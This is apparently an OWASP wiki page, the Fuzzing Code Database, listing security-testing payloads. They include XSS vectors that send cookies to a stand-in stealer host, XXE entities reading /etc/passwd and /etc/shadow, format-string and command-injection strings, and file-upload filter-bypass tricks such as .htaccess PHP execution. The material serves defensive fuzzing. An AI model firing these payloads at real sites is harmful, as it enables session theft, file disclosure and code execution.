content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt; <br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: xx/xx/xx - Total Statements: 28) ===<br /> &lt;pre&gt;%s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=80069 2010-03-17T20:47:21Z

<p>Adam.muntner: /* Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''02 February 2010'''' <br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === File Upload Filter Bypass (Update: 17 March 2009 - notes ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htaccess in an upload folder on Apache httpd, try setting .jpg to executable. If you can set the target directory, try fuzz the list of all dirs you've enumberated on the servers, and try the commonly writable directory fuzzfile.<br /> #<br /> # example .htaccess that sets mime type .jpg to be executable:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> # Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> &lt;pre&gt;<br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename &lt;pre&gt;Appends (Update: 17 March 2009 ===<br /> # Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> &lt;/pre&gt;<br /> === Commonly Writable directories File Upload Filter Bypass - Filename Appends (&lt;pre&gt;Update: 17 March 2009 ===<br /> #Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 <br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === (Common Data File Extensions (Update: 16 March 2009 - Total Statements: 863) ===<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> 